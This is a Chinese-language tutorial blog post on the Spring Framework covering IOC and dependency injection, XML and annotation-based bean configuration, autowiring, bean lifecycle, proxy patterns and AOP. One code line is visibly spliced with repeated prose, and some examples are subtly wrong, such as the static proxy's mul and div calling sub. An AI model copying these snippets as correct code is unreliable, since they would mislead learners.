原创 | Spring及自动绑定问题
点击蓝字
关注我们
IOC与DI
IOC:是一种把对象的创建和对象之间的调用过程,交给spring管理,从而减低耦合度的一种面向对象的设计方式
DI:是ioc的另一种表表达形式;即组件以一些预先定义好的方式(例如:setter方法)接收来自于容器的资源注入。相对于ioc而言,这种表述更直接
简单地说IOC就是一种反转控制的思想,而DI是对IOC的一种具体实现
基于Xml文件来管理bean
依赖
<!--设置打包方式-->
<packaging>jar</packaging>
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.1</version>
</dependency>
<!--junit测试-->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>
helloworld对象
public class HelloWorld {
public void sayHello(){
System.out.println("Hello,Spring");
}
}
spring配置文件
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--ioc容器配置文件-->
<!--id是bean的唯一标识,class是bean对象所对应的类型(将helloworld这个对象交给ioc容器来管理)-->
<bean id="helloworld" class="com.sentiment.pojo.HelloWorld"></bean>
</beans>
测试类
import org.junit.Test;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class SpringTest {
@Test
public void HelloWorldTest(){
//通过配置文件获取ioc容器
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("applicationContext.xml");
//从ioc中获取bean对象
HelloWorld bean = (HelloWorld) ioc.getBean("helloworld");
bean.sayHello();
}
}
获取bean的三种方式
根据bean的id获取
Student studentOne = (Student) ioc.getBean("studentOne");
根据bean的类型获取
Student studentOne = ioc.getBean(Student.class);
注意:根据类型获取bean时,要求Ioc容器中有且只有一个类型匹配的bean。若没有任何一个类型匹配的bean,此时抛出异常:
NoSuchBeanDefinitionException
若有多个类型匹配的bean,此时抛出异常:NouniqueBeanDefinitionException
根据bean的id和类型获取
Student studentOne = ioc.getBean("studentOne", Student.class);
根据类型来获取bean时,在满足bean唯一性的前提下其实只是看:『对象instanceof指定的类型』的返回结果只要返回的是true就可以认定为和类型匹配,能够获取到。即通过bean的类型、bean所继承的类的类型、bean所实现的接口的类型都可以获取bean
扩展
若组件类实现了接口,可以根据接口获取bean,但若这个接口有多个实现类则无法获取即:若Student实现或继承了Persion类,则可以通过person获取student的bean
Person person = ioc.getBean(Person.class);
三种方式及扩展
public void testIoc(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-ioc.xml");
//Student studentOne = (Student) ioc.getBean("studentOne");
//Student studentOne = ioc.getBean(Student.class);
//Student studentOne = ioc.getBean("studentOne", Student.class);
Person person = ioc.getBean(Person.class);
System.out.println(person);
}
依赖注入
setter注入
配置
property:通过成员变量的set方法进行赋值
name :设置需要赋值的属性名(和set方法有关)
value:设置为属性所赋的值
<bean id="studentTwo" class="com.sentiment.pojo.Student">
<property name="sid" value="1842"></property>
<property name="sname" value="Sentiment"></property>
<property name="age" value="20"></property>
<property name="gender" value="男"></property>
</bean>
测试
public void testSetter(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-ioc.xml");
Student studentTwo = ioc.getBean("studentTwo", Student.class);
System.out.println(studentTwo);
}
结果,此时通过property标签,对各个属性进行了赋值
Student{sid=1842, sname='Sentiment', age='20', gender='男'}
构造器注入
配置
若只有一个有参控制器,直接赋值即可
<bean id="studentThree" class="com.sentiment.pojo.Student">
<constructor-arg value="1843"></constructor-arg>
<constructor-arg value="Tana"></constructor-arg>
<constructor-arg value="21"></constructor-arg>
<constructor-arg value="男"></constructor-arg>
</bean>
测试
public void testByConstructor(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-ioc.xml");
Student studentThree = ioc.getBean("studentThree", Student.class);
System.out.println(studentThree);
}
结果
Student{sid=1843, sname='Tana', age='21', gender='男'}
此时若再加一个属性并定义他的有参控制器
public Student(Integer sid, String sname, Double score, String gender) {
this.sid = sid;
this.sname = sname;
this.score = score;
this.gender = gender;
}
在执行后结果:
Student{sid=1843, sname='Tana', age='null', gender='男', score=21.0}
可以看到21想赋给age但,赋值给了score,所以在配置文件后边可以再加上一个name属性,来定义赋值对象
<constructor-arg value="21" name="age"></constructor-arg>
此时结果就赋给了age
Student{sid=1843, sname='Tana', age='21', gender='男', score=null}
特殊值处理
赋值null
常规的通过value赋值,只会将null字符串赋给属性,并不是真正意义的null值,所以若想要为null的话可以通过\<null>标签完成
<bean id="studentFour" class="com.sentiment.pojo.Student">
<property name="sid" value="1844"></property>
<property name="sname" value="Shelter"></property>
<property name="gender">
<null></null>
</property>
<property name="age" value="22"></property>
</bean>
xml实体
在xml文档中,<>会被当做标签处理,因此不能随便使用,而当我们赋值中需要带上\<>时,则会报错,此时就可以用xml实体来表示
<property name="sname" value="<Shelter>"></property>
CDATA字节
除上边方法外,还可以通过CDATA字节解决即:
CDATA中的数据会被正常解析
<property name="sname" >
<value><![CDATA[<Shelter>]]></value>
</property>
不同类型属性赋值
为类类型属性赋值
加一个Clazz类
package com.sentiment.pojo;
public class Clazz {
private Integer cid;
private String cname;
public Integer getCid() {
return cid;
}
public void setCid(Integer cid) {
this.cid = cid;
}
public String getCname() {
return cname;
}
public void setCname(String cname) {
this.cname = cname;
}
@Override
public String toString() {
return "Clazz{" +
"cid=" + cid +
", cname='" + cname + '\'' +
'}';
}
}
并在student类中,添加一个Clazz类型的属性
private Clazz clazz;
外部bean
ref:引用IOC容器中的某个bean的id
Clazz是类对象,因此不能直接使用value赋值,要使用ref
<bean id="studentFive" class="com.sentiment.pojo.Student">
<property name="sid" value="1845"></property>
<property name="sname" value="Demo"></property>
<property name="age" value="23"></property>
<property name="gender" value="男"></property>
<property name="clazz" ref="clazzOne"></property>
</bean>
<bean id="clazzOne" class="com.sentiment.pojo.Clazz">
<property name="cid" value="1"></property>
<property name="cname" value="QLNU"></property>
</bean>
测试
@Test
public void testByRef(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-ioc.xml");
Student studentFive = ioc.getBean("studentFive", Student.class);
System.out.println(studentFive);
}
级联方式
这种方式,仍需用ref,因为不是用的话 clazz值为空,匹配不到对应的cid和cname,所以这种方式也就相当于一种另外的赋值方式
<bean>
<property name="clazz" ref="clazzOne"></property>
<property name="clazz.cid" value="2"></property>
<property name="clazz.cname" value="QlNU2"></property>
</bean>
<bean id="clazzOne" class="com.sentiment.pojo.Clazz">
<property name="cid" value="1"></property>
<property name="cname" value="QLNU"></property>
</bean>
内部bean
内部bean,只能在当前bean的内部使用,不能直接通过ioc容器得到
<bean id="studentFive" class="com.sentiment.pojo.Student">
<property name="sid" value="1845"></property>
<property name="sname" value="Demo"></property>
<property name="age" value="23"></property>
<property name="gender" value="男"></property>
<property name="clazz">
<bean id="clazzInner" class="com.sentiment.pojo.Clazz">
<property name="cid" value="2"></property>
<property name="cname" value="QLNU2"></property>
</bean>
</property>
<!-- <property name="clazz.cid" value="2"></property>-->
<!-- <property name="clazz.cname" value="QlNU2"></property>-->
</bean>
数组类型属性赋值
添加一个字符串数组型变量 hobby,并设置对应的setter、getter和toString方法
private String[] hobby;
数组类型赋值有对应的标签\<array>,如果数组存储的是类变量,则将value标签改为ref标签
<property name="hobby">
<array>
<value>唱</value>
<value>跳</value>
<value>rap</value>
<value>篮球</value>
</array>
</property>
list集合类型赋值
在clazz类中添加一个students集合属性,并设置对应的setter、getter和toString方法
private List<Student> students;
list标签
同数组形式,直接用list标签即可,由于存储的事Student类型数据,所以里边用ref标签
<property name="students">
<list>
<ref bean="studentOne"></ref>
<ref bean="studentTwo"></ref>
<ref bean="studentThree"></ref>
</list>
</property>
util标签
list标签相当于是内部调用,而util就相当于外部调用
<!--通过ref调用util标签-->
<property name="students" ref="studentList"></property>
<!--定义一个util标签-->
<util:list id="studentList">
<ref bean="studentOne"></ref>
<ref bean="studentTwo"></ref>
<ref bean="studentThree"></ref>
</util:list>
map集合类型赋值
新建一个Teacher类
package com.sentiment.pojo;
public class Teacher {
private Integer tid;
private String tname;
@Override
public String toString() {
return "Teacher{" +
"tid=" + tid +
", tname='" + tname + '\'' +
'}';
}
public Integer getTid() {
return tid;
}
public void setTid(Integer tid) {
this.tid = tid;
}
public String getTname() {
return tname;
}
public void setTname(String tname) {
this.tname = tname;
}
}
在Student类中,定义一个 teacher类型的map属性,并设置对应的setter、getter、toString方法
private Map<String,Teacher> teacherMap;
map标签
map中的entry标签 ,自动存储键和值,设置value-ref存储 bean中的类型数据
<property name="teacherMap">
<map>
<entry key="1" value-ref="teacherOne"></entry>
<entry key="2" value-ref="teacherTwo"></entry>
</map>
</property>
<bean id="teacherOne" class="com.sentiment.pojo.Teacher">
<property name="tid" value="1"></property>
<property name="tname" value="AA"></property>
</bean>
<bean id="teacherTwo" class="com.sentiment.pojo.Teacher">
<property name="tid" value="2"></property>
<property name="tname" value="BB"></property>
</bean>
util标签
<!--调用定义的map类型的util标签--->
<property name="teacherMap" ref="studentMap"></property>
<!--定义map类型的util标签-->
<util:map id="studentMap">
<entry key="1" value-ref="teacherOne"></entry>
<entry key="2" value-ref="teacherTwo"></entry>
</util:map>
p命名空间
配置
<bean id="studentSix" class="com.sentiment.pojo.Student"
p:sid="111" p:sname="Sentiment" p:teacherMap-ref="studentMap"></bean>
测试
public void testByPnamesapce(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-ioc.xml");
Student studentSix = ioc.getBean("studentSix", Student.class);
System.out.println(studentSix);
}
spring管理数据源和引入外部属性文件
依赖
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.6</version>
</dependency>
<!--数据源-->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.0.31</version>
</dependency>
配置文件
jdbc.properties用的是mybatis里的
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<!--引入jdbc.properties配置文件-->
<context:property-placeholder location="jdbc.properties"></context:property-placeholder>
<bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource">
<property name="driverClassName" value="${jdbc.driver}"></property>
<property name="url" value="${jdbc.url}"></property>
<property name="username" value="${jdbc.username}"></property>
<property name="password" value="${jdbc.password}"></property>
</bean>
</beans>
测试
@Test
public void dataSourceTest() throws SQLException {
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-datasource.xml");
DruidDataSource bean = ioc.getBean(DruidDataSource.class);
System.out.println(bean.getConnection());
}
bean的作用域及生命周期
作用域
在spring中可以通过配置bean标签的scope属性来指定bean的作用域范围,属性如下
常规情况下同一个ioc容器获取的bean值是相等的,在比较时会返回true
public void ScopeTest(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-scope.xml");
Student bean1 = ioc.getBean(Student.class);
Student bean2 = ioc.getBean(Student.class);
System.out.println(bean1 == bean2);
}
当设置了scope标签并且值为prototype时(默认为singleton),两个bean值则会不同,返回false
<bean id="student" class="com.sentiment.pojo.Student" scope="prototype">
<property name="sid" value="1842"></property>
<property name="sname" value="Sentiment"></property>
</bean>
如果是在WebApplicationContext环境下会有另外两个作用域
取值 | 含义 |
request | 在一个请求范围内有效 |
session | 在一个会话范围内有效 |
作用域注解:@Scope(value="singleton")
注意:该注解可以用在@Bean标识的方法中,也可以标识在@Component标识的类中;从而表明获取到的对象为单例或多例模式
生命周期
生命周期过程
实例化
依赖注入(给对象设置属性)
bean对象初始化之前的操作(由bean的后置处理器负责)
初始化:通过bean的init-method属性指定初始化方法
bean对象初始化后的操作(由bean的后置处理器负责)
bean对象的使用
销毁:通过bean的destroy-method属性来指定销毁的方法
IOC容器的关闭
第一步是实例化,是由于ioc容器管理对象时,是通过工厂和反射获取的,所以会默认使用无参构造。
创建一个User类
public class User {
private Integer id;
private String username;
private String password;
private Integer age;
public User() {
System.out.println("生命周期1:实例化");
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public void setAge(Integer age) {
this.age = age;
}
public void setId(Integer id) {
System.out.println("生命周期2:依赖注入");
this.id = id;
}
void init(){
System.out.println("生命周期3:初始化");
}
void destroy(){
System.out.println("生命周期4:销毁");
}
@Override
public String toString() {
return "User{" +
"id=" + id +
", username='" + username + '\'' +
", password='" + password + '\'' +
", age=" + age +
'}';
}
}
初始化和销毁需要在配置文件中定义
<!--init-method表示bean初始化方法,destory-meethod表示销毁方法-->
<bean id="student" class="com.sentiment.pojo.Student" scope="prototype">
<property name="sid" value="1842"></property>
<property name="sname" value="Sentiment"></property>
</bean>
测试
public void test(){
ConfigurableApplicationContext ioc = new ClassPathXmlApplicationContext("spring-lifecycle.xml");
User bean = ioc.getBean(User.class);
System.out.println(bean);
ioc.close();
}
最后的销毁部分是通过ioc.close()来完成的,而这里的用的是ConfigurableApplicationContext类型,因为ApplicationContext中没有close方法,而ConfigurableApplicationContext是他的子接口其中定义了刷新和关闭的方法。这里用原来的ClassPathXmlApplicationContext也是可以的
作用域对生命周期的影响
其实当执行第一步的时候就已经,初始化了,而这里的初始化只指单例模式的
如果换成多例模式即:配置中加上scope="prototype"后
此时运行便没有任何结果,而它的初始化则是在获取bean的时候生成
bean的后置处理器
在bean的声明周期过程中,初始化前后还有两个操作但是在上边并没有体现到
bean对象初始化之前的操作(由bean的后置处理器postProcessBeforeInitialization负责)
bean对象初始化后的操作(由bean的后置处理器postProcessAfterInitialization负责)
bean的后置处理器会在声明周期的初始化前后添加额外的操作,需要实现BeanPostProcessor接口,且配置到IOC容器中,需要注意的是,bean后置处理器不是单独针对某一个bean生效,而是针对IOC容器中所有bean都会执行
创建bean的后置处理器:
package com.sentiment.process;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.config.BeanPostProcessor;
public class MyBeanProcessor implements BeanPostProcessor {
@Override
public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {
System.out.println("初始化之前执行——>postProcessBeforeInitialization");
return bean;
}
@Override
public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
System.out.println("初始化之后执行——>postProcessAfterInitialization");
return bean; }
}
配置到IOC容器中
<bean id="mybeanprocessor" class="com.sentiment.process.MyBeanProcessor"></bean>
FactroyBean
FactoryBean是Spring提供的一种整合第三方框架的常用机制。和普通的bean不同,配置一个FactoryBean类型的bean,在获取bean的时候得到的并不是class属性中配置的这个类的对象,而是getObject()方法的返回值。通过这种机制,Spring可以帮我们把复杂组件创建的详细过程和繁琐细节都屏蔽起来,只把最简洁的使用界面展示给我们。
将来我们整合Mybatis时,Spring就是通过FactoryBean机制来帮我们创建SqlSessionFactory对象的。
<T> getObject():通过一个对象交给ioc容器来管理
Class<?> getObjectType():设置所提供对象的类型
boolean isSingleton():所提供的对象是否为单例
Factory
import com.sentiment.pojo.User;
import org.springframework.beans.factory.FactoryBean;
public class UserFactoryBean implements FactoryBean<User> {
@Override
public User getObject() throws Exception {
return new User();
}
@Override
public Class<?> getObjectType() {
return User.class;
}
}
配置文件
这里并不是返回UserFactoryBean的类对象,而是该类中getObject方法中返回的User()对象,较以往的工厂来说bean工厂省去了找工厂的过程直接找我们需要的对象。
<bean class="com.sentiment.factory.UserFactoryBean"></bean>
@Test
public void factoryTest(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-factory.xml");
User bean = ioc.getBean(User.class);
System.out.println(bean);
}
输出结果
可以看到这里实例化了User对象,并输出了对应内容
基于xml的自动装配
根据指定的策略,在IOC容器中匹配某一个bean,自动为指定的bean中所依赖的类类型或接口类型属性赋值
三层架构
自动装配用到了三层架构,先了解了一下
controller
controller又叫web层、控制层、控制器,主要用于用户交互,接收和响应来自用户端的http请求,并且包含一些web功能
常见技术:cookie seesion jsp servlet listener filter
service
service层又叫业务层,主要用来处理逻辑,用于事务处理、日志管理、监控等
dao
dao层又叫持久层、mapper层、respotiry层,主要用于操纵数据库返回用户数组,前篇提到的mybatis就属于该层
技术:jdbc druid mybatis
三层架构的调用关系
controller -> service -> dao -> 操作数据库
数据返回关系
dao操作数据库数据 ->service -> controller
场景模拟
回到xml自动装配,感觉跟动态代理好像。。。
先写一个controller
public class UserController {
private UserService userService;
public void setUserService(UserService userService) {
this.userService = userService;
}
public void saveUser() {
userService.saveUser();
}
}
controller中定义了UserService并调用了他的saveUser()方法,所以在创建个UserService接口和实现类
UserService接口
public interface UserService {
void saveUser();
}
实现类
public class UserServiceImpl implements UserService {
private UserDao userDao;
public void setUserDao(UserDao userDao) {
this.userDao = userDao;
}
@Override
public void saveUser() {
userDao.saveUser();
}
}
接着又调用了UserDao的saveUser所以继续创建接口和实现类
UserDao接口
public interface UserDao {
void saveUser();
}
实现类
public class UserDaoImpl implements UserDao {
@Override
public void saveUser() {
System.out.println("保存成功");
}
}
最后通过配置文件自动装配,通过其中的set方法进行赋值
<bean id="userController" class="com.sentiment.controller.UserController">
<property name="userService" ref="userService"></property>
</bean>
<bean id="userService" class="com.sentiment.service.iml.UserServiceImpl">
<property name="userDao" ref="userDao"></property>
</bean>
<bean id="userDao" class="com.sentiment.dao.iml.UserDaoImpl"></bean>
测试
public void test(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-autowire.xml");
UserController bean = ioc.getBean(UserController.class);
bean.saveUser();
}
byType
在场景模拟中,用到的并不是自动装配,而是通过property标签手动设置了对应的属性值,所以这里就通过autowire标签的byType属性实现自动装配,若设置no或default属性则表示不会自动装配即使用默认值
<bean id="userController" class="com.sentiment.controller.UserController" autowire="byType">
<!-- <property name="userService" ref="userService"></property>-->
</bean>
<bean id="userService" class="com.sentiment.service.iml.UserServiceImpl" autowire="byType">
<!-- <property name="userDao" ref="userDao"></property>-->
</bean>
<bean id="userDao" class="com.sentiment.dao.iml.UserDaoImpl"></bean>
此时在运行程序后,会通过byType自动匹配对应的类型属性赋值
但需要注意两个问题:
若删除userService的bean,则会爆空指针错误,即:当匹配不到对应的bean后,则会不自动装配使用默认值
由于是根据类型进行匹配所以当设置多个userService类型的bean,则会报错:NoUniqueBeanDefinitionException,也就是这样会匹配到了多个bean,无法执行
byName
根据bean的id名来进行bean的匹配。
上边提到当设置多个userService类型的bean后,则会报错,这时就可以使用byName因为他是根据bean的id进行匹配的,所以不管设置几个同类型bean,只要id唯一就能匹配到(而id是唯一标识,所以常规状态下不会出现id相同情况)
基于注解管理bean
基于注解
基于注解管理bean和xml配置文件管理一样,注解本身并不能执行,注解本身仅仅只做一个标记,具体的功能是框架检测到注解标记的位置,然后针对这个位置,按照注解标记的功能来执行具体的操作
扫描
spring为了知道程序员在那些地方标记了什么注解就需要通过扫描的方式来进行检测,然后根据注解来进行后续操作(将扫描到的包内的类交给spring容器来保存)
常用注解
@Component:将类标识为普通组件
@Controller:将类标识为控制层组件
@Service:将类标识为业务层组件
@Repository:将类标识为持久层组件
注:这四个注解功能一模一样,没有任何区别,都是将对应的类交给spring容器来保存,只不过名字不一样(便于分辨组件的作用)
配置个扫描器,扫描对应的注解
<!--扫描组件-->
<context:component-scan base-package="com.sentiment"></context:component-scan>
public void test(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-annotation.xml");
UserController controller = ioc.getBean(UserController.class);
System.out.println(controller);
UserService service = ioc.getBean(UserService.class);
System.out.println(service);
UserDao dao = ioc.getBean(UserDao.class);
System.out.println(dao);
}
扫描组件
在exclude-filter标签中可以设置两个参数:
exclude-filter:排除扫描
include-filter:包含扫描
其中包含几个属性:
type:设置扫描的方式有两个常用值—annotation、assignable
annotation:根据注解的类型进行排除
assignable:根据类的类型进行排除
expression:设置排除的类的全类名
use-default-filters:设置是否扫描包下所有的包,默认为true,但若使用include-filte包含扫描时,需设置为flase(包含扫描是指只扫描哪个标签,而若use-default-filters设为true则会默认扫描包下的所有标签,就是去了include-filte的意义)
<context:component-scan base-package="com.sentiment" use-default-filters="false">
<!-- 排除扫描-->
<!-- <context:exclude-filter type="annotation" expression="org.springframework.stereotype.Controller"/>-->
<!-- 包含扫描-->
<context:include-filter type="annotation" expression="org.springframework.stereotype.Controller"/>
<context:include-filter type="assignable" expression="com.sentiment.service.impl.UserServiceImpl"/>
</context:component-scan>
bean的id
id默认为类的小驼峰例:userController
也可自定义id,在标签中设置value值即可,例:@Controller("controller")
测试
getbean方法可以通过bean的id获取ioc容器
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("spring-annotation.xml");
UserController controller = ioc.getBean("controller",UserController.class);
Syste标识在成员变量上,此时不需要设置成员变量的set方法(直接根据策略在ioc容器中查找对应对象)
标识在set方法上
为当前成员变量赋值的有参构造上m.out.println(controller);
@Autowierd自动装配
标识位置
标识在成员变量上,此时不需要设置成员变量的set方法(直接根据策略在ioc容器中查找对应对象)
标识在set方法上
为当前成员变量赋值的有参构造上
建议标识在成员变量上
@Controller("controller")
public class UserController {
@Autowired
private UserService userService;
public void saveUser(){
userService.saveUser();
}
}
自动装配原理
默认通过byType的方式,在IOC容器中通过类型匹配某个bean为属性赋值
若有多个类型匹配的bean,此时会自动转换为byName的方式实现自动装配的效果即将要赋值的属性的属性名作为bean的id匹配某个bean为属性赋值
若byType和byName的方式都无妨实现自动装配,即IOC容器中有多个类型匹配的bean且这些bean的id和要赋值的属性的属性名都不一致,此时抛异常:NouniqueBeanDefinitionException,此时可以在要赋值的属性上,添加一个注解@Qualifier通过该注解的value属性值,指定某个bean的id,将这个bean为属性赋值
例:若此时在下边添加两个bean标签,则默认会通过byName方式获取,因为这里当调用UserService类型是,这里存在两个所以无法匹配。
验证方法也很简单,只需要把id随意修改一下便会报错,出现找不到对应属性的问题
<context:component-scan base-package="com.sentiment"></context:component-scan>
<bean id="userService" class="com.sentiment.service.impl.UserServiceImpl"></bean>
<bean id="userDao" class="com.sentiment.dao.impl.UserDaoImpl"></bean>
如上边所说id随意修改一下后,便会出现找不到对应的id的问题而且此时也有两个同类型bean,byName和byType就都是失效了,所以就用到了@Qualifier注解
<context:component-scan base-package="com.sentiment"></context:component-scan>
<bean id="Service" class="com.sentiment.service.impl.UserServiceImpl"></bean>
<bean id="Dao" class="com.sentiment.dao.impl.UserDaoImpl"></bean>
通过@Qualifier来指定对应bean的id即可
@Controller("controller")
public class UserController {
@Autowired
@Qualifier("service")
private UserService userService;
public void saveUser(){
userService.saveUser();
}
}
注:在@Autowired注解属性里有个required属性,默认为true,要求必须完成自动装配,可以将required设置为false,此时能装配则装配,不能装配则使用属性默认值
AOP
代理模式
场景模拟
接口类
public interface Calculator {
int add(int i ,int j);
int sub(int i ,int j);
int mul(int i ,int j);
int div(int i ,int j);
}
实现类
在四个方法中模拟了日志功能,但这些日志并不是add方法的核心业务功能,这就会导致一些问题:
对核心业务功能有千扰。导致程序员在开发核心业务功能时分散了精力
附加功能分散在各个业务功能方法中,不利于统—维护
package com.sentiment.proxy;
public class CalculatorImpl implements Calculator {
@Override
public int add(int i, int j) {
System.out.println("日志,方法:add,参数"+i+","+j);
int result=i+j;
System.out.println("方法内部,result:"+result);
System.out.println("日志,方法:add,结果"+i+","+j);
return result;
}
@Override
public int sub(int i, int j) {
System.out.println("日志,方法:sub,参数"+i+","+j);
int result=i-j;
System.out.println("方法内部,result:"+result);
System.out.println("日志,方法:sub,结果"+i+","+j);
return result;
}
@Override
public int mul(int i, int j) {
System.out.println("日志,方法:mul,参数"+i+","+j);
int result=i*j;
System.out.println("方法内部,result:"+result);
System.out.println("日志,方法:mul,结果"+i+","+j);
return result;
}
@Override
public int div(int i, int j) {
System.out.println("日志,方法:div,参数"+i+","+j);
int result=i/j;
System.out.println("方法内部,result:"+result);
System.out.println("日志,方法:div,结果"+i+","+j);
return result;
}
}
静态代理
通过上例就引出了代理模式,即:各自的方法由自己来实现就好,附加功能由代理来实现
将CalculatorImpl中的日志功能部分除去,加到代理类中
代理类
package com.sentiment.proxy;
public class CalculatorStiaticProxy implements Calculator {
private CalculatorImpl target;
public CalculatorStiaticProxy(CalculatorImpl target) {
this.target = target;
}
@Override
public int add(int i, int j) {
System.out.println("日志,方法:add,参数"+i+","+j);
int result = target.add(i,j);
System.out.println("日志,方法:add,结果"+i+","+j);
return result;
}
@Override
public int sub(int i, int j) {
System.out.println("日志,方法:sub,参数"+i+","+j);
int result = target.sub(i,j);
System.out.println("日志,方法:sub,结果"+i+","+j);
return result;
}
@Override
public int mul(int i, int j) {
System.out.println("日志,方法:mul,参数"+i+","+j);
int result = target.sub(i,j);
System.out.println("日志,方法:mul,结果"+i+","+j);
return result;
}
@Override
public int div(int i, int j) {
System.out.println("日志,方法:div,参数"+i+","+j);
int result = target.sub(i,j);
System.out.println("日志,方法:div,结果"+i+","+j);
return result;
}
}
测试类
public void testProxy(){
CalculatorStiaticProxy proxy = new CalculatorStiaticProxy(new CalculatorImpl());
proxy.add(1,2);
}
动态代理
第三遍回顾动态代理了,之前有一篇文章专门分析过可以参考一下:[Java基础]—动态代理_Sentiment.的博客-CSDN博客
https://blog.csdn.net/weixin_54902210/article/details/124970197
静态代理代理类和业务类都需要实现同样的接口,会造成代码的重复并且静态代理缺乏一定的灵活性,因此引出了动态代理。
动态代理主要涉及java.lang.reflect包下的Proxy类和InvocationHandler接口。
先看下java.lang.reflect.Proxy类,其中有个newProxyInstance就是实现动态代理的方法
package java.lang.reflect;
import java.lang.reflect.InvocationHandler;
public class Proxy implements java.io.Serializable {
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
..........
}
classLoader Loader:指定加载动态生成的代理类的类加载器
class[] interfaces:获取目标对象实现的所有接口的class对象的数组
invocationHandler h:设置代理类中的抽象方法如何重写
重点在invocationHandler h,该类只有一个方法
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
proxy 代理对象
method 要调用的代理对象方法
args 要调用方法的参数
代理类
package com.sentiment.proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Arrays;
public class ProxyFactory {
private Object target;
public ProxyFactory(Object target) {
this.target = target;
}
public Object getProxy(){
ClassLoader classLoader = this.getClass().getClassLoader();
Class<?>[] interfaces = target.getClass().getInterfaces();
InvocationHandler h = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("日志参数:" + Arrays.toString(args));
Object result = method.invoke(target, args);
System.out.println("日志结果:" + result);
return result;
}
};
return Proxy.newProxyInstance(classLoader,interfaces,h);
}
}
测试
import com.sentiment.proxy.Calculator;
import com.sentiment.proxy.CalculatorImpl;
import com.sentiment.proxy.CalculatorStiaticProxy;
import com.sentiment.proxy.ProxyFactory;
import org.junit.Test;
public class ProxyTest {
@Test
public void dynamicProxy(){
ProxyFactory proxyFactory = new ProxyFactory(new CalculatorImpl());
Calculator proxy = (Calculator) proxyFactory.getProxy();
proxy.add(1,2);
}
}
流程
AOP概念
AOP(aspect oriented programming)是一种设计思想,是软件设计领域中的面向切面编程,他是面向对象编程的一种补充和完善,它通过预编译的方式和运行期动态代理的方式实现在不修改源代码的情况下给程序动态统一添加额外功能的一种技术
相关术语
横切关注点(日志):从每个方法中抽取出来的同一类非核心业务,同一个项目中,我们可以使用多个横切关注点对相关方法进行多个不同方面的增强
通知 :每一个横切关注点上要做的事情都需要写一个方法来实现,这样的方法叫通知方法
切面:用于封装横切关注点的类(每个横切关注点都表示为一个通知方法)
注:我们要把横切关注点封装到切面中,而在这个切面中每一个横切关注点都表示一个通知方法
目标:被代理的目标对象(加减乘除功能)
连接点:表示横切关注点抽出来的位置
切入点:定位连接点的方式
每一个横切关注点也就是非核心业务方法都会被抽出到切面中,而切面中的每个横切关注点表示一个通知方法,通过切入点就是将通知方法放到连接点处
通知分类
前置通知:在被代理的目标方法前执行
返回通知:在被代理的目标方法成功结束后执行
异常通知:在被代理的目标方法异常结束后执行
后置通知:在被代理的目标方法最终结束后执行
环绕通知:目标方法的前后都可以执行某些代码,用于控制目标方法
AOP作用
简化代码:把方法中固定位置的重复代码抽取出来,让抽取的方法更专注于自己的核心功能,提高内聚性
代码增强:把特定的功能封装到切面类中,看哪里有需要,就往上套,被套用了切面逻辑的方法就被切面给增强了
注:AOP依赖于IOC而存在
基于注解的AOP
前置通知
配置文件
切面类和目标类都需要交给IOC容器管理
切面类必须通过@Aspect注解标识为一个切面在spring的配置文件中设置\<aop:aspectj-autoproxy/>开启基于注解的AOP
<context:component-scan base-package="com.sentiment.aop"></context:component-scan>
<!--开启基于注解的AOP-->
<aop:aspectj-autoproxy/>
测试类
@Component
@Aspect
public class LogAspect {
@Before("execution(public int com.sentiment.aop.CalculatorImpl.add(int ,int))")
public void beforeAdvicedMethdo(){
System.out.println("前置通知");
}
}
切入点表达式
bean表达式
bean(bean的id)//没有引号
within表达式
//只拦截具体包下的具体类
within(com.Sentiment.service.User)
//拦截具体包下的所有类
within(com.sentiment.service.*)
//拦截具体包下的所有包类
within(com.sentiment.service..*)
//拦截com.任意包.service包下的所有包类
within(com.*.service..*)
execution表达式
语法:execution(返回值类型 包名.类名.方法名(参数列表))
//拦截返回值任意的具体方法
execution(* com.sentiment.service.UserServiceImpl.addUser())
//拦截返回值任意,参数列表任意,具体包service所有子包与子类的所有方法
execution(* com.sentiment.service..*.*(..))
